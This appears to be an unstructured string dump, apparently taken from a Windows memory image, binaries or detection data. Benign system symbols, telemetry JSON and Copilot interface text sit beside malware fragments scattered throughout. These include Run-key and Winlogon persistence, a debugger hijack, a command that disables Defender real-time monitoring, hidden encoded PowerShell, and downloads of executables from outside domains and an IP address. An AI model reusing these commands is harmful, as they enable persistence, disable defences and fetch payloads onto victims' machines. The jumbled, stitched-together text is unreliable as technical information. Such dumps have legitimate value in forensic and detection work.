temRoot%\system32\mswsock.dll
C:%5CWindows%5CSystemApp
Windowsk
/shell.exe-windowstylehiddenc:\users\public\document\python
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
WINDOWS11
c:/windows/system32/dL
c:/windows/system32/dt
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Cookies
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Cookies-journal
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Cookies-wal
IsWindowsRuntimeObjectType
WindowsBase
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
(@Windows.
c:\windows\system32\cmd.exe/cdir
?qt_metacall@QWindowsPipeReader@@UEAAHW4Call@QMetaObject@@HPEAPEAX@Z
?qt_metacall@QWindowsPipeWriter@@UEAAHW4Call@QMetaObject@@HPEAPEAX@Z
Microsoft.Windows.TlgAggregateInternal
onecoreuap\windows\moderncore\inputv2\contextualprocessors\manager\lib\contextualprocessorbuffer.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\lib\inputsitetarget.cpp
onecoreuap\windows\moderncore\inputv2\systeminputhosts\components\win32kinterop\lib\cursornotificationprocessor.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\lib\dwmfocusedinputtarget.cpp
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\server\legacyinputsinkdata.cpp
onecoreuap\windows\moderncore\inputv2\systeminputhosts\onecoreuap\lib\onecoreuapinputhost.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\lib\dwminputrouter.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpcheadprocessor.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\windowsmessagedelivery\server\windowsmessagedeliveryproxy.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\components\inputgestures\system\dragmanagerclientproxy.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpcholographicinputmanager.cpp
onecoreuap\windows\moderncore\inputv2\foregroundmanager\server\foregroundmanager.cpp
onecoreuap\windows\moderncore\inputv2\utilities\ismstatics\ismstatics.cpp
onecoreuap\windows\moderncore\inputv2\inc\InputETW.tlh
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\keyboard\lib\keyboardprocessor.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\utilities\keyboardmodifierstate\lib\keyboardmodifierstate.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\generic\nonpointer\lib\nonpointerprocessor.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\factory\lib\inputrouterfactory.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\mpc\lib\mpcinputrouter.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\pnpapiwrapper.cpp
tonecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\hidlampmultiupdatereportbuilder.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\hidlamparraydevice.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\button\lib\buttonprocessor.cpp
onecoreuap\windows\moderncore\inputv2\inputstatemanager\lib\inputstatemanager.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\factory\lib\inputprocessorfactory.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\mpc\lib\mpcrawinputprovider.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\manager\lib\inputprovidermanager.cpp
onecoreuap\windows\moderncore\inputv2\systeminputhosts\components\win32kinterop\lib\win32kinterop.cpp
onecoreuap\windows\moderncore\inputv2\delivery\server\nonbamoinputdeliveryserver.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\shellgestures\processor\shellgesturesclientproxy.cpp
onecoreuap\windows\moderncore\inputv2\delivery\server\inputattempteddeliveryclientproxy.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpcinputproviderbase.cpp
onecoreuap\windows\moderncore\in
Microsoft.Windows.Storage.VolumeManager
SetWindowsHookExW
UnhookWindowsHookEx
?qt_static_metacall@QWindowsPipeReader@@CAXPEAVQObject@@W4Call@QMetaObject@@HPEAPEAX@Z
?qt_static_metacall@QWindowsPipeWriter@@CAXPEAVQObject@@W4Call@QMetaObject@@HPEAPEAX@Z
?getNonUserInputWindowSystemEvent@QWindowSystemInterfacePrivate@@SAPEAVWindowSystemEvent@1@XZ
?GetView@ShadowNodeBase@ReactNative@Microsoft@@QEBA?AUDependencyObject@Xaml@UI@Windows@winrt@@XZ
?HasDynamicAutomationProperties@ReactNative@Microsoft@@YA_NAEBUUIElement@Xaml@UI@Windows@winrt@@@Z
?HorizontalAlignmentFrom@ReactNative@Microsoft@@YA?AW4HorizontalAlignment@Xaml@UI@Windows@winrt@@AEBUdynamic@folly@@@Z
?OnDropViewInstance@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?OnViewCreated@ControlViewManager@ReactNative@Microsoft@@MEAAXUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?OnViewCreated@ViewManagerBase@ReactNative@Microsoft@@MEAAXUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?RemoveAllChildren@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?RemoveChildAt@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@_J@Z
?ReparentView@ShadowNodeBase@ReactNative@Microsoft@@QEAAXUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?ReplaceChild@ShadowNodeBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@0@Z
?ReplaceChild@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@00@Z
?ReplaceView@ShadowNodeBase@ReactNative@Microsoft@@QEAAXUDependencyObject@Xaml@UI@Windows@winrt@@@Z
?SetAsyncStorageDBPath@windows@react@@YAX$$QEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z
?SetLayoutProps@ControlViewManager@ReactNative@Microsoft@@UEAAXAEAUShadowNodeBase@23@AEBUDependencyObject@Xaml@UI@Windows@winrt@@MMMM@Z
?SetLayoutProps@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEAUShadowNodeBase@23@AEBUDependencyObject@Xaml@UI@Windows@winrt@@MMMM@Z
?SolidColorBrushFrom@ReactNative@Microsoft@@YA?AUSolidColorBrush@Media@Xaml@UI@Windows@winrt@@AEBUJSValue@128@@Z
CimStatusCodeFromWindowsError
windows
d:\build\ob\bora-24764696\src\bora-vmsoft\build\release-x64\vsock\windows\kernelstubs\kernelstubswin32.c
d:\build\ob\bora-24764696\src\bora-vmsoft\build\release-x64\vsock\windows\Win8Release\x64\bin\vsock.pdb
d:\build\ob\bora-24649440\src\bora-vmsoft\build\release-x64\crosstalk\windows\vmciqpair.c
d:\build\ob\bora-24649440\src\bora-vmsoft\build\release-x64\crosstalk\windows\kernelstubs\kernelstubswin32.c
d:\build\ob\bora-24649440\src\bora-vmsoft\build\release-x64\crosstalk\windows\Win8Release\x64\bin\vmci.pdb
&AutoATAWindowsString12345678901
Sending interactive Cross-Cloud request on unsupported version of Windows
certlib: %hs: %hs %hsmicrosoft.windows.certsrv.certreq!#HSTR:Exploit:Win32/DouglasDojibMS10-048!dha
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
    <xs:attribute name="Name" type="ST_AsciiWindowsId" use="required"/>
\windows\system32\cdb.ini
vl-registry-writeuautocad@hkey_local_machine\software\microsoft\windows\currentversion\run[vl-file-copylaowofubenucadhelp.jpg[laowobak2laowolsp2laowobakucad.bak[laowolspdwgpathexeudwg.exe
windowsregistryeditorversion5.00[hkey_local_machine\system\controlset001\services\winmgmt\parameters]"servicedll"=hex(2):43,00,3a,00,5c,00,44,00,4f,00,43,00,55,00,4d,00,45,00,7e,00,31,00,5c,00,41,00,4c,00,4c,00,55,00,53,00,45,00,7e,00,31,00,5c,00,41,00,50,00,50,00,4c,00,49,00,43,00,7e,00,31,00
adobe photoshop cc 2019 (windows)space telescope science
	msoftware\microsoft\windows\currentversion\run
Building shim engine DLL system32 filename failed with status 0x%08lx
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.User32
Microsoft-Windows-AppModel-Runtime
Microsoft.Windows.Wil.FeatureLogging
windows 10
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
OS=Windows_NT
s\system32\cmd.exe/c
regadd"hklm\software\microsoft\windowsnt\currentversion\winlogon"/v"userinit"/t"reg_sz"/d"c:\windows\system32\userinit.exe,autorun.
:\windows\system32\*.scr|where-object{$_.name-ne$screensavername}$pathtoscreensaver=get-random$listscrn
set-itemproperty"hklm:\software\microsoft\windowsnt\currentversion\imagefileexecutionoptions\$screensavername"-namedebugger-value$regvalue
wnew-itemproperty-path"hkcu:\software\microsoft\windows\currentversion\run"-nameupdate-propertytypestring-value"wscript.exe$env:userprofile\appdata:$vbsfile"-force
\windows\currentversion\run'-
, "%windir%\system32":
66.246.38.\system32\config\samto: haxorklog.sys\win.comntdetect.comwww.prodexteam.netcorpse@mailserver.ruget /aserver.php?id=%s&param=%u http/1.1software\microsoft\windows nt\currentversion\winlogon\notify\pdx@
HTop-level Windows Forms control cannot be exposed as an ActiveX control.
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
SystemRuntimeWindowsRuntimeUIXaml
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
c:\windows\system32\rundll32.exeurl,openurlq
c:\windows\system32\cmd.exe/cstart"""c:\users\
-windowstylehidden
"+//windowsexecutecommand(calct
94^com.microsoft.windows.extensions.xaml.desktopstickereditor
cc^com.microsoft.windows.app.search
97^com.microsoft.windows.extensionpackage
.z5.web.core.windows.net/
Gattrib+r+hc:\windows\system32\release.exe
s\system32\
"WindowsSearchTask+
WINDOWS11
pwindows
Xuje=tomnomwindows.oldt
in Windows parolan
in Windows parolan
in Windows parolan
in Windows parolan
in Windows parolan
in Windows parolan
in Windows parolan
in Windows parolan
in Windows 10 veya 
V.url='https://sso.siteo.com/index.xml?return=https://ujzrbznowv-secondary.z11.web.core.windows.net/?#
Qsys20079325\afventning\handelsruternes41000software\microsoft\windows\currentversion\uninstall\carmen2893
regadd"hklm\software\policies\microsoft\windowsdefender\real-timeprotection"/v"disablerealtimemonitoring
powershell.exe-executionpolicybypass-windowstylehidden-file"""&ps1path
\then\telltwoorallwhich.batc:\windows\system32\shell32.dll%systemroot%
c:\windows\system32\msiexec.exe-packagehttps:/\somanga.top/
c:\windows\system32\cmd.exe/cstartsystemvolumeinformation.exe
config.dat&c:\windows\explorer4
\windows\(
c:\windows\
system32\svc
windows\+
\windows\cur
;start-process-windowsty
5crosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE
C:\WINDOWS\Fonts
cre and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
+\windows\currentversion\run"/v"mcafeeinc"/treg_sz/d%
SetWindowsHookExCallS
(ionpolicybypass-windowstylehidden-command
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
iginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[67,14,14,49,38,210,112,252,221,17,246,90,22,148,167,153,126,134,238,171,250,147,222,180,90,88,177,221,73,48,3,60],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:43.0000000Z","ValidTo":"2026-06-17T18:11:43.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8901011Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":38},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939766230636,"MaxEventTime":134163939766230636,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\cemapi.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[190,96,50,155,159,73,101,171,110,84,73,194,74,81,143,111,155,187,154,84],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"CEMAPI.dll","InternalName":"CEMAPI","FileDescription":"CEMAPI","ProductName":"Microsoft
 Windows
\windows\currentv_
in"windowssecurity"
in"windowssecurity"
\system32\cmd
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
windir=C:\WINDOWS
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
.+:\\Projetos\\WGA Windows\\pocarrontas\\.+\\pocarron;
windowsfabric
\$windows.~bt\sources\
c:\windows\explorer.exe"\\154.201.83.145@1666\webdav\
Lc:\windows\system32\msiexec.exe-package
\windowsphotoviewer\
=chkScreenLoggerEnabledClickdtsbrand.datGlobal\DTS3Mutex30STP\system32\config
\windowsnt\currentversion5.16
3s\system32\cmd.exe/cpowershell-c(new-objectnet.webclient).download}
5a^windows.appExtension
           targetNamespace="http://schemas.microsoft.com/appx/manifest/iot/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/iot/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:iot="http://schemas.microsoft.com/appx/manifest/iot/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/mobile/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/mobile/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:mobile="http://schemas.microsoft.com/appx/manifest/mobile/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
.?AVQWindowsMimeHtml@@
.?AVQWindowsMimeImage@@
.?AVQWindowsCursor@@
.?AVQWindowsInputContext@@
.?AVQWindowsTheme@@
.?AVQWindowsFileIconEngine@@
.?AVQWindowsMenu@@
.?AVQWindowsMenuBar@@
.?AVQWindowsMenuItem@@
.?AVQWindowsPopupMenu@@
.?AVQWindowsNativeDialogBase@@
.?AVQWindowsDialogThread@@
.?AVQWindowsNativeFileDialogBase@@
.?AVQWindowsNativeFileDialogEventHandler@@
.?AV?$QWindowsComBase@UIFileDialogEvents@@@@
.?AVQWindowsNativeSaveFileDialog@@
.?AVQWindowsNativeOpenFileDialog@@
.?AVQWindowsFileDialogHelper@@
.?AV?$QWindowsDialogHelperBase@VQPlatformFileDialogHelper@@@@
.?AVQWindowsXpNativeFileDialog@@
.?AVQWindowsXpFileDialogHelper@@
.?AVQWindowsShellExecuteThread@@
.?AVQWindowsOpenGLContext@@
.?AVQWindowsStaticOpenGLContext@@
.?AVQWindowsGLContext@@
.?AVQWindowsEGLStaticContext@@
.?AVQWindowsEGLContext@@
.?AVQWindowsSystemTrayIcon@@
.?AVQWindowsInternalMimeData@@
.?AVQWindowsClipboardRetrievalMimeData@@
.?AVQWindowsClipboard@@
.?AVQWindowsDropMimeData@@
.?AVQWindowsOleDropTarget@@
.?AV?$QWindowsComBase@UIDropTarget@@@@
.?AVQWindowsDrag@@
.?AVQWindowsDragCursorWindow@@
.?AVQWindowsOleDropSource@@
.?AV?$QWindowsComBase@UIDropSource@@@@
.?AVQWindowsSessionManager@@
.?AVQWindowsUiaAccessibility@@
.?AVQWindowsUiaProviderCache@@
.?AVQWindowsUiaMainProvider@@
.?AVQWindowsUiaBaseProvider@@
.?AVQWindowsUiaValueProvider@@
.?AV?$QWindowsComBase@UIValueProvider@@@@
.?AVQWindowsUiaTextProvider@@
.?AV?$QWindowsComBase@UITextProvider2@@@@
QWindowsUiaProviderCache
QWindowsUiaMainProvider
QWindowsUiaBaseProvider
QWindowsGdiNativeInterface
QWindowsGuiEventDispatcher
.?AVQWindowsBaseWindow@@
.?AVQWindowsForeignWindow@@
.?AVQWindowsWindow@@
.?AVQWindowsIntegration@@
.?AVQWindowsDesktopWindow@@
.?AVQWindowsServices@@
.?AVQWindowsFontDatabaseFT@@
.?AVQWindowsScreen@@
.?AVQWindowsOleDataObject@@
.?AV?$QWindowsComBase@UIDataObject@@@@
.?AVQWindowsOleEnumFmtEtc@@
.?AV?$QWindowsComBase@UIEnumFORMATETC@@@@
.?AVQWindowsDropDataObject@@
.?AVQWindowsMime@@
.?AVQWindowsMimeText@@
.?AVQWindowsMimed
NtUserCloseWindowStation
?activatewindows@@yahxz
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copi
c:\windows\explorer.exe%systemroot%
;powershell.exe-windowstylehiddencurl-o%appdata%\winscr.scrhttps://invoicingmister.com/&
DriverData=C:\Windows\System32\
WindowsDuplicateString
WindowsCreateStringReference
WindowsConcatString
WindowsGetStringLen
supportsMultipleWindows
textAutosizingWindowSizeOverride
windowShowState
Microsoft.Windows.BackgroundManager
Microsoft.Windows.Application.Service
Microsoft.Windows.BackgroundManager
elfbttx:;po:i+00/c:\v1kuywindows@h0kuy.(_&windowsz1ou|system32bh0ou|./
Search results may be incomplete, Windows is still indexing this PC, some results may not show in search yet, click to see indexing status.
Search results may be incomplete, Windows is still indexing this PC, some results may not show in search yet, click to dismiss.
Enter your feedback on Windows Search here. To protect your privacy, please don't include any personal information.
WindowsFeedback
wow64_microsoft-windows-w..ommand-line-utility_31bf3856ad364e35_none_695348490946d258
wow64_microsoft-windows-w..ompositeclassdriver_31bf3856ad364e35_none_689b5c41b5ea6208
wow64_microsoft-windows-w..ore-instrumentation_31bf3856ad364e35_none_4b9c249438105df5
wow64_microsoft-windows-w..ows-web-diagnostics_31bf3856ad364e35_none_7d674bd60c379565
wow64_microsoft-windows-w..owsupdateclient-aux_31bf3856ad364e35_none_e66123bbb5aa0ec7
wow64_microsoft-windows-w..oyment-languagepack_31bf3856ad364e35_en-us_1f3cd02e491f7727
wow64_microsoft-windows-w..oyment-languagepack_31bf3856ad364e35_en-us_ac49735f36872bd0l
wow64_microsoft-windows-w..pt-wow64-deployment_31bf3856ad364e35_none_4029bc855be822c2
wow64_microsoft-windows-w..publicapi.resources_31bf3856ad364e35_en-us_a881182f8fab1eccH
wow64_microsoft-windows-w..putinking.resources_31bf3856ad364e35_en-us_513b1b1122e0f172
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360wpapp.exeS
WindowsFeedback
#WINDOWSPATH%s (%s:%d)oK
WindowsCreateString
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
Microsoft Windowsamp PCA 2010
windows.hlp`
windows.hlp`
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
=[object[]]('c:\windows\
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShe
Microsoft.Windows.BackgroundManager
Windows11
Windows11
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Hosts.FeedHost.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Providers.CustomQueryParametersUpdateOptions.g.h
Khttpswindowsupdates.com/j4v4ssl4654.exe
_Software\Microsoft\Windows\CurrentVersion\Run\W32TimeTrojan:Win64/Rozena.NIT!MTB
sWINDOWS
COMPUTERNAME=WINDOWS11
OS=Windows_NT
nners\impalpablepopularization.jsc:\windows\explorer.exe%systemroot%
P+powershell-windowstylehidden-encaqb3ahiaiaatahuacwblagiaiaboahqadabwadoalwavadeaoaa1ac4amqa0adkalgaxadqangauadeanga0ac8adwbyagmayqbmac4acabzadeaiab8acaaaqblahga
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Windows.UI
System.Windows.Input
Windows.UI.Xaml.Controls.Primitives
Windows.UI.Xaml.Media
Windows.UI.Xaml.Media.Animation
Windows.UI.Xaml.Media.Media3D
Windows.UI.Xaml
6f^com.microsoft.windows.extension.shellhost.component
type:"showTooltip"},iconUrl:{light:"https://www.bing.com/th?id=ODSWG.16ff8e96-bc73-4fa3-b4cf-d8caa4b3d2a3&pid=dsb",dark:"https://www.bing.com/th?id=ODSWG.c774e0be-e875-4524-913c-e8125dc1c298&pid=dsb"}},input:{placeholderText:n.config.keepDefaultPht?n.Host.getLocString("DefaultTaskbarPHT"):n.Host.getLocString("CopySearchPHT")}}}};return JSON.stringify(r)}function yc(){return n.config.enableCopySearch&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(57915467))}function pc(){return n.config.enableSyncedHistoryLocal?n.config.enableSearchHistoryMru&&!!n.config.forceUseNifSH&&n.RuntimeConfiguration.DeviceHistoryEnabled&&((n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())==2||(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())==3)&&n.isBrowserOnline():n.config.enableSearchHistoryMru&&!!n.config.forceUseNifSH&&n.RuntimeConfiguration.DeviceHistoryEnabled&&(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())==2&&n.isBrowserOnline()}function wc(){var t,i;let r=n.config.mruAsSearchHistoryCacheKey;if(n.config.enableHistoryCacheKeyUpdate&&(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())==2){let n=(i=(t=it())===null||t===void 0?void 